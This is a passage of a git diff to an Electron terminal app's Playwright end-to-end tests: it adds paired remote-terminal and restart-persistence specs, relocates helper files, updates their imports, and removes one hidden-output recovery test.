ORCA_E2E_TERMINAL_RETENTION_LIMIT: '1' + } +}) + +function fixtureCommand(marker: string): string { + const command = [process.execPath, fixturePath, marker] + return process.platform === 'win32' + ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') + : command.map(quotePosixShell).join(' ') +} + +async function callRuntime(page: Page, method: string, params: unknown): Promise { + return page.evaluate( + async ({ method, params }) => { + const response = await window.api.runtime.call({ method, params }) + if (!response.ok) { + throw new Error(`${response.error.code}: ${response.error.message}`) + } + return response.result + }, + { method, params } + ) as Promise +} + +test('paints a paired remote terminal when only its retained text tail overflowed @headful', async ({ + electronApp, + orcaPage +}) => { + test.setTimeout(120_000) + const firstPaintMarker = `REMOTE_TRUNCATED_TAIL_FIRST_PAINT_${Date.now()}` + const liveMarker = `REMOTE_TRUNCATED_TAIL_LIVE_${Date.now()}` + const worktree = await orcaPage.evaluate(() => { + const state = window.__store?.getState() + const activeWorktreeId = state?.activeWorktreeId + if (!activeWorktreeId) { + throw new Error('Headed host did not select its seeded worktree') + } + const activeWorktree = state + .allWorktrees() + .find((candidate) => candidate.id === activeWorktreeId) + if (!activeWorktree) { + throw new Error('Headed host active worktree was absent from inventory') + } + return { id: activeWorktree.id, path: activeWorktree.path } + }) + const offer = await createRuntimeDesktopPairingOffer(orcaPage) + const client = await launchPairedWebClient(electronApp, offer) + let terminal: string | null = null + try { + await expect + .poll( + () => + client.page.evaluate( + (worktreeId) => + window.__store + ?.getState() + .allWorktrees() + .some((candidate) => candidate.id === worktreeId), + worktree.id + ), + { timeout: 30_000 } + ) + .toBe(true) + const created = await callRuntime<{ + tab: { + parentTabId: string + leafId: string + terminal: string | null + } + }>(client.page, 'session.tabs.createTerminal', { + worktree: `id:${worktree.id}`, + command: fixtureCommand(firstPaintMarker), + activate: false, + select: false, + navigation: 'caller' + }) + terminal = created.tab.terminal + if (!terminal) { + throw new Error('Paired runtime did not publish the overflow fixture terminal') + } + + const webTabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) + await expect + .poll( + () => + client.page.evaluate( + ({ tabId, worktreeId }) => + (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( + (tab) => tab.id === tabId + ), + { tabId: webTabId, worktreeId: worktree.id } + ), + { timeout: 30_000 } + ) + .toBe(true) + await client.page.evaluate( + (worktreeId) => window.__store?.getState().setActiveWorktree(worktreeId), + worktree.id + ) + const remoteTab = client.page.locator(`[data-testid="sortable-tab"][data-tab-id="${webTabId}"]`) + await expect(remoteTab).toBeVisible({ timeout: 30_000 }) + await remoteTab.click() + await expect(remoteTab).toHaveAttribute('data-active', 'true') + await waitForActivePanePtyId(client.page, 30_000) + await expect + .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) + .toContain('REMOTE_TRUNCATED_TAIL_READY') + await callRuntime(client.page, 'terminal.send', { + terminal, + text: 'WARMUP', + enter: true, + client: { id: 'paired-truncated-tail-e2e', type: 'desktop' } + }) + await expect + .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) + .toContain('LIVE:WARMUP') + await callRuntime(client.page, 'terminal.send', { + terminal, + text: 'GO', + enter: true, + client: { id: 'paired-truncated-tail-e2e', type: 'desktop' } + }) + await expect + .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) + .toContain(firstPaintMarker) + await expect + .poll( + async () => { + const result = await callRuntime<{ terminal: RuntimeTerminalRead }>( + client.page, + 'terminal.read', + { terminal } + ) + return { + marker: result.terminal.tail.join('\n').includes(firstPaintMarker), + truncated: result.terminal.truncated + } + }, + { timeout: 30_000 } + ) + .toEqual({ marker: true, truncated: true }) + + await client.page.reload() + await client.page.locator('[data-worktree-sidebar]').waitFor({ + state: 'visible', + timeout: 30_000 + }) + await client.page.evaluate( + (worktreeId) => window.__store?.getState().setActiveWorktree(worktreeId), + worktree.id + ) + const restoredRemoteTab = client.page.locator( + `[data-testid="sortable-tab"][data-tab-id="${webTabId}"]` + ) + await expect(restoredRemoteTab).toBeVisible({ timeout: 30_000 }) + await restoredRemoteTab.click() + await expect(restoredRemoteTab).toHaveAttribute('data-active', 'true') + await expect + .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) + .toContain(firstPaintMarker) + + await callRuntime(client.page, 'terminal.send', { + terminal, + text: liveMarker, + enter: true, + client: { id: 'paired-truncated-tail-e2e', type: 'desktop' } + }) + await expect + .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) + .toContain(`LIVE:${liveMarker}`) + } finally { + if (terminal) { + await callRuntime(client.page, 'terminal.closeTab', { terminal }).catch(() => undefined) + } + await client.dispose() + } +}) diff --git a/tests/e2e/paired-runtime-retention-metrics.ts b/tests/e2e/terminal/remote-parking/paired-runtime-retention-metrics.ts similarity index 100% rename from tests/e2e/paired-runtime-retention-metrics.ts rename to tests/e2e/terminal/remote-parking/paired-runtime-retention-metrics.ts diff --git a/tests/e2e/helpers/paired-terminal-cold-activation-observation.ts b/tests/e2e/terminal/remote-parking/paired-terminal-cold-activation-observation.ts similarity index 94% rename from tests/e2e/helpers/paired-terminal-cold-activation-observation.ts rename to tests/e2e/terminal/remote-parking/paired-terminal-cold-activation-observation.ts index 04d27a736f7..d8ab2240f06 100644 --- a/tests/e2e/helpers/paired-terminal-cold-activation-observation.ts +++ b/tests/e2e/terminal/remote-parking/paired-terminal-cold-activation-observation.ts @@ -1,5 +1,6 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' export async function callColdActivationRuntime( page: Page, diff --git a/tests/e2e/helpers/paired-terminal-cold-activation-oracle.ts b/tests/e2e/terminal/remote-parking/paired-terminal-cold-activation-oracle.ts similarity index 95% rename from tests/e2e/helpers/paired-terminal-cold-activation-oracle.ts rename to tests/e2e/terminal/remote-parking/paired-terminal-cold-activation-oracle.ts index 183e46899ac..6dc54d96c72 100644 --- a/tests/e2e/helpers/paired-terminal-cold-activation-oracle.ts +++ b/tests/e2e/terminal/remote-parking/paired-terminal-cold-activation-oracle.ts @@ -1,14 +1,16 @@ import type { Page } from '@stablyai/playwright-test' -import '../../../src/shared/remote-runtime/protocol/protocol-version' -import { TERMINAL_PAIRED_PARKING_RUNTIME_CAPABILITY } from '../../../src/shared/terminal/runtime-policy/terminal-runtime-capabilities' -import { toWebTerminalSurfaceTabId } from '../../../src/shared/workspace-layout/terminal-surface-id' -import { expect } from './orca-app' +import '../../../../src/shared/remote-runtime/protocol/protocol-version' +import { TERMINAL_PAIRED_PARKING_RUNTIME_CAPABILITY } from '../../../../src/shared/terminal/runtime-policy/terminal-runtime-capabilities' +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { callColdActivationRuntime, expectStableColdActivationMountState } from './paired-terminal-cold-activation-observation' import { createPairedTerminalParkingFixture } from './paired-terminal-parking-fixture' -import { getTerminalContent, waitForActivePanePtyId } from './terminal' +import { waitForActivePanePtyId } from '../input/terminal' +import { getTerminalContent } from '../layout/terminal-pane-identity' const TARGET_TAB_COUNT = 8 diff --git a/tests/e2e/helpers/paired-terminal-hidden-output-oracle.ts b/tests/e2e/terminal/remote-parking/paired-terminal-hidden-output-oracle.ts similarity index 92% rename from tests/e2e/helpers/paired-terminal-hidden-output-oracle.ts rename to tests/e2e/terminal/remote-parking/paired-terminal-hidden-output-oracle.ts index bd9b6244b35..914e92a9645 100644 --- a/tests/e2e/helpers/paired-terminal-hidden-output-oracle.ts +++ b/tests/e2e/terminal/remote-parking/paired-terminal-hidden-output-oracle.ts @@ -1,7 +1,8 @@ import type { Page } from '@stablyai/playwright-test' -import type { RuntimeTerminalRead } from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { startRendererLagProbe } from '../paired-runtime-retention-metrics' -import { expect } from './orca-app' +import type { RuntimeTerminalRead } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import { startRendererLagProbe } from './paired-runtime-retention-metrics' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' const MAX_HIDDEN_FLOOD_LAG_MS = 500 diff --git a/tests/e2e/helpers/paired-terminal-parking-fixture.ts b/tests/e2e/terminal/remote-parking/paired-terminal-parking-fixture.ts similarity index 97% rename from tests/e2e/helpers/paired-terminal-parking-fixture.ts rename to tests/e2e/terminal/remote-parking/paired-terminal-parking-fixture.ts index e2e1386fa75..a3cd776b76d 100644 --- a/tests/e2e/helpers/paired-terminal-parking-fixture.ts +++ b/tests/e2e/terminal/remote-parking/paired-terminal-parking-fixture.ts @@ -1,7 +1,7 @@ import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { quotePosixShell } from '../../../src/shared/shell/launch/shell-argument-quoting' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' const FILL_ROWS = 6_000 const FLOOD_ROWS = 4_000 diff --git a/tests/e2e/helpers/paired-terminal-parking-oracle.ts b/tests/e2e/terminal/remote-parking/paired-terminal-parking-oracle.ts similarity index 94% rename from tests/e2e/helpers/paired-terminal-parking-oracle.ts rename to tests/e2e/terminal/remote-parking/paired-terminal-parking-oracle.ts index b534b0f5806..70a2d2ee008 100644 --- a/tests/e2e/helpers/paired-terminal-parking-oracle.ts +++ b/tests/e2e/terminal/remote-parking/paired-terminal-parking-oracle.ts @@ -1,20 +1,21 @@ -import type { Page } from '@stablyai/playwright-test' -import type { RuntimeTerminalRead } from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' -import '../../../src/shared/remote-runtime/protocol/protocol-version' -import { TERMINAL_PAIRED_PARKING_RUNTIME_CAPABILITY } from '../../../src/shared/terminal/runtime-policy/terminal-runtime-capabilities' +import type { RuntimeTerminalRead } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import '../../../../src/shared/remote-runtime/protocol/protocol-version' +import { TERMINAL_PAIRED_PARKING_RUNTIME_CAPABILITY } from '../../../../src/shared/terminal/runtime-policy/terminal-runtime-capabilities' import { toHostSessionTabId, toWebTerminalSurfaceTabId -} from '../../../src/shared/workspace-layout/terminal-surface-id' +} from '../../../../src/shared/workspace-layout/terminal-surface-id' import { readPairedRetentionSample, startRendererLagProbe -} from '../paired-runtime-retention-metrics' -import { expect } from './orca-app' +} from './paired-runtime-retention-metrics' +import '../../desktop/electron-fixtures/orca-app' +import { expect, type Page } from '@stablyai/playwright-test' import { verifyHiddenPairedTerminalOutputSuppression } from './paired-terminal-hidden-output-oracle' import { createPairedTerminalParkingFixture } from './paired-terminal-parking-fixture' import { verifyPairedTerminalTitleFanout } from './paired-terminal-title-fanout-oracle' -import { getTerminalContent, waitForActivePanePtyId } from './terminal' +import { waitForActivePanePtyId } from '../input/terminal' +import { getTerminalContent } from '../layout/terminal-pane-identity' const TARGET_WORKTREE_COUNT = 6 const MIN_STAGED_BUFFER_CELLS = 1_000_000 diff --git a/tests/e2e/helpers/paired-terminal-title-fanout-oracle.ts b/tests/e2e/terminal/remote-parking/paired-terminal-title-fanout-oracle.ts similarity index 96% rename from tests/e2e/helpers/paired-terminal-title-fanout-oracle.ts rename to tests/e2e/terminal/remote-parking/paired-terminal-title-fanout-oracle.ts index 7135a80b352..903f0eb79e0 100644 --- a/tests/e2e/helpers/paired-terminal-title-fanout-oracle.ts +++ b/tests/e2e/terminal/remote-parking/paired-terminal-title-fanout-oracle.ts @@ -1,8 +1,9 @@ import type { Page } from '@stablyai/playwright-test' -import type { RuntimeTerminalRead } from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' -import '../../../src/shared/remote-runtime/protocol/protocol-version' -import { TERMINAL_PAIRED_PARKING_RUNTIME_CAPABILITY } from '../../../src/shared/terminal/runtime-policy/terminal-runtime-capabilities' -import { expect } from './orca-app' +import type { RuntimeTerminalRead } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import '../../../../src/shared/remote-runtime/protocol/protocol-version' +import { TERMINAL_PAIRED_PARKING_RUNTIME_CAPABILITY } from '../../../../src/shared/terminal/runtime-policy/terminal-runtime-capabilities' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' const INITIAL_TITLE = '⠋ Cursor Agent' const FINAL_TITLE = 'Cursor ready' diff --git a/tests/e2e/helpers/paired-terminal-restart-renderer-probes.ts b/tests/e2e/terminal/remote-reconnect/paired-terminal-restart-renderer-probes.ts similarity index 96% rename from tests/e2e/helpers/paired-terminal-restart-renderer-probes.ts rename to tests/e2e/terminal/remote-reconnect/paired-terminal-restart-renderer-probes.ts index 1cdb373d020..e6673e783a3 100644 --- a/tests/e2e/helpers/paired-terminal-restart-renderer-probes.ts +++ b/tests/e2e/terminal/remote-reconnect/paired-terminal-restart-renderer-probes.ts @@ -1,6 +1,7 @@ import type { Page } from '@stablyai/playwright-test' -import type { RuntimeMobileSessionTabsResult } from '../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import { expect } from './orca-app' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' export type PairedTerminalProbePhase = 'baseline' | 'restart' | 'close' diff --git a/tests/e2e/alternate-screen-fixture-script.ts b/tests/e2e/terminal/rendering/alternate-screen-fixture-script.ts similarity index 100% rename from tests/e2e/alternate-screen-fixture-script.ts rename to tests/e2e/terminal/rendering/alternate-screen-fixture-script.ts diff --git a/tests/e2e/terminal-column-desync-repro.spec.ts b/tests/e2e/terminal/rendering/terminal-column-desync-repro.spec.ts similarity index 97% rename from tests/e2e/terminal-column-desync-repro.spec.ts rename to tests/e2e/terminal/rendering/terminal-column-desync-repro.spec.ts index a278d1f790f..0ec9a5e90ab 100644 --- a/tests/e2e/terminal-column-desync-repro.spec.ts +++ b/tests/e2e/terminal/rendering/terminal-column-desync-repro.spec.ts @@ -2,22 +2,22 @@ // Build 1.4.103 showed first-spawn window width persisting against narrow pane width; repeat initial-mount reloads to expose timing-sensitive dropped resize. import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { ensureTerminalVisible, getAllWorktreeIds, switchToWorktree, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' +} from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId, waitForPaneIdentitySnapshot } from '../input/terminal' import { splitActiveTerminalPane, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' + waitForActiveTerminalManager +} from '../layout/terminal-pane-operations' import { waitForPtyColumnsAtMost } from './terminal-column-probes' -import { waitForPtyShellEcho } from './terminal-pty-readiness' +import { waitForPtyShellEcho } from '../lifecycle/terminal-pty-readiness' // Use a generous probe ceiling so it reports actual columns instead of waiting for a target width. const READ_ANY_COLS = 100_000 diff --git a/tests/e2e/terminal-column-probes.ts b/tests/e2e/terminal/rendering/terminal-column-probes.ts similarity index 93% rename from tests/e2e/terminal-column-probes.ts rename to tests/e2e/terminal/rendering/terminal-column-probes.ts index 0f8f0400bc7..da6a2c4f23c 100644 --- a/tests/e2e/terminal-column-probes.ts +++ b/tests/e2e/terminal/rendering/terminal-column-probes.ts @@ -1,14 +1,15 @@ import { randomUUID } from 'node:crypto' import type { Page } from '@stablyai/playwright-test' import { expect } from '@stablyai/playwright-test' -import { sendToTerminal } from './helpers/terminal' +import '../input/terminal' +import { sendToTerminal } from '../layout/terminal-pane-operations' import { getTerminalContentForPtyId, waitForPtyPaneMounted, waitForPtyShellEcho -} from './terminal-pty-readiness' -import { nodeTerminalCommand } from './terminal-node-command' -import { buildFreshShellProbeInputSequence } from './terminal-probe-input-sequence' +} from '../lifecycle/terminal-pty-readiness' +import { nodeTerminalCommand } from '../input/terminal-node-command' +import { buildFreshShellProbeInputSequence } from '../input/terminal-probe-input-sequence' type TerminalColumnProbeWindow = Window & { __store?: { diff --git a/tests/e2e/terminal-cursor-raster-probe.ts b/tests/e2e/terminal/rendering/terminal-cursor-raster-probe.ts similarity index 100% rename from tests/e2e/terminal-cursor-raster-probe.ts rename to tests/e2e/terminal/rendering/terminal-cursor-raster-probe.ts diff --git a/tests/e2e/terminal-dom-block-decorations.spec.ts b/tests/e2e/terminal/rendering/terminal-dom-block-decorations.spec.ts similarity index 91% rename from tests/e2e/terminal-dom-block-decorations.spec.ts rename to tests/e2e/terminal/rendering/terminal-dom-block-decorations.spec.ts index 29672c51e87..ba791aded2c 100644 --- a/tests/e2e/terminal-dom-block-decorations.spec.ts +++ b/tests/e2e/terminal/rendering/terminal-dom-block-decorations.spec.ts @@ -1,8 +1,9 @@ import { PNG } from 'pngjs' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { ensureActiveWorktreePaneLoad } from './artificial-opencode-pane-interactions' -import { waitForTerminalPtyDataInjector } from './helpers/terminal-pty-injection' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' +import { ensureActiveWorktreePaneLoad } from '../performance/artificial-opencode-pane-interactions' +import { waitForTerminalPtyDataInjector } from '../input/terminal-pty-injection' function decorationPixels(screenshot: Buffer): { redBelow: number diff --git a/tests/e2e/helpers/terminal-inline-image-proof.ts b/tests/e2e/terminal/rendering/terminal-inline-image-proof.ts similarity index 100% rename from tests/e2e/helpers/terminal-inline-image-proof.ts rename to tests/e2e/terminal/rendering/terminal-inline-image-proof.ts diff --git a/tests/e2e/terminal-screenshot-diff.ts b/tests/e2e/terminal/rendering/terminal-screenshot-diff.ts similarity index 100% rename from tests/e2e/terminal-screenshot-diff.ts rename to tests/e2e/terminal/rendering/terminal-screenshot-diff.ts diff --git a/tests/e2e/terminal-tab-screenshot.ts b/tests/e2e/terminal/rendering/terminal-tab-screenshot.ts similarity index 88% rename from tests/e2e/terminal-tab-screenshot.ts rename to tests/e2e/terminal/rendering/terminal-tab-screenshot.ts index 506ed1a200f..9cf10db5579 100644 --- a/tests/e2e/terminal-tab-screenshot.ts +++ b/tests/e2e/terminal/rendering/terminal-tab-screenshot.ts @@ -1,5 +1,6 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './helpers/orca-app' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' function tabScreenLocator(page: Page, tabId: string): ReturnType { return page.locator(`[data-terminal-tab-id="${tabId}"] .xterm-screen`).first() diff --git a/tests/e2e/terminal-tab-switch-visual-restore.spec.ts b/tests/e2e/terminal/rendering/terminal-tab-switch-visual-restore.spec.ts similarity index 80% rename from tests/e2e/terminal-tab-switch-visual-restore.spec.ts rename to tests/e2e/terminal/rendering/terminal-tab-switch-visual-restore.spec.ts index 12fff3cd651..c25ce83eda6 100644 --- a/tests/e2e/terminal-tab-switch-visual-restore.spec.ts +++ b/tests/e2e/terminal/rendering/terminal-tab-switch-visual-restore.spec.ts @@ -1,24 +1,23 @@ -import type { XtermWithRenderDimensions } from './helpers/xterm-render-dimensions' +import type { XtermWithRenderDimensions } from './xterm-render-dimensions' import type { Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { buildAltScreenFrame, describeAltScreenRenderPath, readRenderedAltScreenFrame, writeToPaneTerminal -} from './helpers/alt-screen-frame' +} from '../output/alt-screen-frame' import { ensureTerminalVisible, getActiveTabId, getActiveWorktreeId, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActiveTerminalManager -} from './helpers/terminal' +} from '../../desktop/renderer-probes/store' +import '../input/terminal' +import { sendToTerminal, waitForActiveTerminalManager } from '../layout/terminal-pane-operations' + import { compareTerminalScreenshots } from './terminal-screenshot-diff' import { captureStableTabScreenshot } from './terminal-tab-screenshot' @@ -122,43 +121,6 @@ async function ensureTwoTerminalTabs( return { firstTabId, secondTabId } } -async function createAgentMarkedTerminalTab( - page: Page, - agent: 'codex' | 'grok', - command: string -): Promise { - const worktreeId = (await getActiveWorktreeId(page))! - return page.evaluate( - ({ worktreeId, agent, command }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { - launchAgent: agent - }) - state.queueTabStartupCommand(tab.id, { - command, - launchAgent: agent, - telemetry: { - agent_kind: agent, - launch_source: 'tab_bar_quick_launch', - request_kind: 'new' - } - }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - return tab.id - }, - { worktreeId, agent, command } - ) -} - -async function createCodexMarkedTerminalTab(page: Page): Promise { - return createAgentMarkedTerminalTab(page, 'codex', 'node -e "setInterval(() => {}, 1000)"') -} - async function activateTerminalTab(page: Page, tabId: string): Promise { await page.evaluate((id) => { const store = window.__store @@ -246,38 +208,6 @@ async function readPaneIdentityOnTab( } } -async function resetHiddenOutputDebug(page: Page): Promise { - await page.evaluate(() => { - ;(window as HiddenOutputRecoveryWindow).__terminalPtyOutputDebug?.reset() - }) -} - -async function readHiddenOutputDebug(page: Page): Promise { - return page.evaluate(() => { - return (window as HiddenOutputRecoveryWindow).__terminalPtyOutputDebug?.snapshot() ?? null - }) -} - -async function injectPaneData( - page: Page, - paneKey: string, - data: string, - meta?: { seq?: number; rawLength?: number } -): Promise { - const injected = await page.evaluate( - ({ paneKey, data, meta }) => - (window as HiddenOutputRecoveryWindow).__terminalPtyDataInjection?.inject( - paneKey, - data, - meta - ) ?? false, - { paneKey, data, meta } - ) - if (!injected) { - throw new Error(`No terminal PTY data injector registered for ${paneKey}`) - } -} - async function setHiddenSnapshotOverride( page: Page, ptyId: string, @@ -506,57 +436,6 @@ test.describe('Terminal tab switch visual restore', () => { ).toEqual([]) }) - test('restores skipped hidden agent output on light tab resume', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const shellTabId = (await getActiveTabId(orcaPage))! - const agentTabId = await createCodexMarkedTerminalTab(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await waitForPanePtyIdOnTab(orcaPage, agentTabId) - const paneIdentity = await readPaneIdentityOnTab(orcaPage, agentTabId) - const paneKey = `${agentTabId}:${paneIdentity.leafId}` - - await activateTerminalTab(orcaPage, shellTabId) - const runId = `${Date.now()}` - const marker = `${TAB_SWITCH_MARKER_PREFIX}_SKIPPED_AGENT_${runId}` - const hiddenFrame = [ - '\x1b[?2026h', - `${marker} hidden renderer frame`, - 'status=streaming while tab-hidden', - '\x1b[?2026l' - ].join('\r\n') - await resetHiddenOutputDebug(orcaPage) - await injectPaneData(orcaPage, paneKey, hiddenFrame, { - seq: hiddenFrame.length, - rawLength: hiddenFrame.length - }) - - await expect - .poll(async () => (await readHiddenOutputDebug(orcaPage))?.hiddenRendererSkipCount ?? 0, { - timeout: 5_000, - message: 'Codex-marked hidden output did not take the skipped renderer path' - }) - .toBeGreaterThan(0) - await setHiddenSnapshotOverride(orcaPage, paneIdentity.ptyId, { - data: `${marker} restored from main snapshot\r\n`, - cols: paneIdentity.cols, - rows: paneIdentity.rows, - seq: hiddenFrame.length - }) - - await activateTerminalTab(orcaPage, agentTabId) - - await expect - .poll(() => getTerminalContent(orcaPage, 8_000), { - timeout: 10_000, - message: 'light tab resume did not request skipped hidden-output recovery' - }) - .toContain(marker) - }) - test('@headful keeps returned tab glyphs intact across tab switches', async ({ orcaPage }, testInfo) => { diff --git a/tests/e2e/helpers/xterm-render-dimensions.ts b/tests/e2e/terminal/rendering/xterm-render-dimensions.ts similarity index 100% rename from tests/e2e/helpers/xterm-render-dimensions.ts rename to tests/e2e/terminal/rendering/xterm-render-dimensions.ts diff --git a/tests/e2e/helpers/resource-manager-visible-fixture.ts b/tests/e2e/terminal/resource-management/resource-manager-visible-fixture.ts similarity index 100% rename from tests/e2e/helpers/resource-manager-visible-fixture.ts rename to tests/e2e/terminal/resource-management/resource-manager-visible-fixture.ts diff --git a/tests/e2e/helpers/terminal-hidden-parking.ts b/tests/e2e/terminal/retention/terminal-hidden-parking.ts similarity index 91% rename from tests/e2e/helpers/terminal-hidden-parking.ts rename to tests/e2e/terminal/retention/terminal-hidden-parking.ts index b759373002d..43ed6d1a983 100644 --- a/tests/e2e/helpers/terminal-hidden-parking.ts +++ b/tests/e2e/terminal/retention/terminal-hidden-parking.ts @@ -1,7 +1,8 @@ import type { Page } from '@stablyai/playwright-test' import { expect } from '@stablyai/playwright-test' -import { getActiveTabId } from './store' -import { waitForActiveTerminalManager, waitForPaneIdentitySnapshot } from './terminal' +import { getActiveTabId } from '../../desktop/renderer-probes/store' +import { waitForPaneIdentitySnapshot } from '../input/terminal' +import { waitForActiveTerminalManager } from '../layout/terminal-pane-operations' function resolveParkWaitTimeoutMs(parkDelayMs?: number): number { const delay = parkDelayMs ?? (Number(process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS) || 500) diff --git a/tests/e2e/helpers/terminal-host-focus-storm-oracle.ts b/tests/e2e/terminal/retention/terminal-host-focus-storm-oracle.ts similarity index 91% rename from tests/e2e/helpers/terminal-host-focus-storm-oracle.ts rename to tests/e2e/terminal/retention/terminal-host-focus-storm-oracle.ts index eed178aedb0..fdb232f4427 100644 --- a/tests/e2e/helpers/terminal-host-focus-storm-oracle.ts +++ b/tests/e2e/terminal/retention/terminal-host-focus-storm-oracle.ts @@ -1,8 +1,9 @@ import type { Page } from '@stablyai/playwright-test' -import type { RuntimeTerminalFocus } from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { expect } from './orca-app' -import { createRemoteSessionBulkOpenFixture } from './remote-session-bulk-open-fixture' -import { closeStreamingTerminals } from './streaming-terminal-cleanup' +import type { RuntimeTerminalFocus } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { createRemoteSessionBulkOpenFixture } from '../remote-layout/remote-session-bulk-open-fixture' +import { closeStreamingTerminals } from '../remote-hosts/streaming-terminal-cleanup' export type HostFocusStormSession = { marker: string diff --git a/tests/e2e/terminal-parked-close-retirement.spec.ts b/tests/e2e/terminal/retention/terminal-parked-close-retirement.spec.ts similarity index 84% rename from tests/e2e/terminal-parked-close-retirement.spec.ts rename to tests/e2e/terminal/retention/terminal-parked-close-retirement.spec.ts index c5ed0b5c0cb..e20132b4f90 100644 --- a/tests/e2e/terminal-parked-close-retirement.spec.ts +++ b/tests/e2e/terminal/retention/terminal-parked-close-retirement.spec.ts @@ -1,15 +1,17 @@ import type { Page } from '@stablyai/playwright-test' import { randomUUID } from 'node:crypto' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { parkHiddenTabBehindDecoy } from './helpers/terminal-hidden-parking' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { - execInTerminal, - getTerminalContent, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { nodeTerminalCommand } from './terminal-node-command' + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { parkHiddenTabBehindDecoy } from './terminal-hidden-parking' +import { waitForPaneIdentitySnapshot } from '../input/terminal' +import { execInTerminal, waitForActiveTerminalManager } from '../layout/terminal-pane-operations' +import { getTerminalContent } from '../layout/terminal-pane-identity' +import { nodeTerminalCommand } from '../input/terminal-node-command' const PARKING_DELAY_MS = Number(process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS) || 500 diff --git a/tests/e2e/terminal/retention/terminal-restart-persistence.spec.ts b/tests/e2e/terminal/retention/terminal-restart-persistence.spec.ts new file mode 100644 index 00000000000..ca000e34d58 --- /dev/null +++ b/tests/e2e/terminal/retention/terminal-restart-persistence.spec.ts @@ -0,0 +1,69 @@ +// #461’s 3-minute renderer scrollback serialization caused multi-pane input stalls; #729 replaced it with daemon history and pruned local session buffers. +// Require daemon-backed scrollback, cursor and pane titles across clean restart. + +import type { ElectronApplication } from '@stablyai/playwright-test' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import '../input/terminal' +import { execInTerminal, waitForTerminalOutput } from '../layout/terminal-pane-operations' +import { getTerminalContent } from '../layout/terminal-pane-identity' +import '../../desktop/renderer-probes/store' + +import { createRestartSession } from '../../desktop/electron-fixtures/orca-restart' +import { PTY_SESSION_ID_SEPARATOR } from '../../../../src/shared/terminal/pty/lifecycle/pty-session-id-format' +import { + seededRepoPathOrSkip, + bootstrapFirstLaunch, + bootstrapRestoredLaunch +} from './terminal-restart-persistence' + +// Serialize full quit/relaunch cycles to avoid competing Electron cache locks. +test.describe.configure({ mode: 'serial' }) + +test.describe('Terminal restart persistence', () => { + test('scrollback survives clean quit and relaunch', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. + {}, testInfo) => { + const repoPath = seededRepoPathOrSkip() + + const session = createRestartSession(testInfo) + let firstApp: ElectronApplication | null = null + let secondApp: ElectronApplication | null = null + + try { + const firstLaunch = await session.launch() + firstApp = firstLaunch.app + const { worktreeId, ptyId } = await bootstrapFirstLaunch(firstLaunch.page, repoPath) + // Require daemon-backed persistence; LocalPtyProvider fallback intentionally prunes 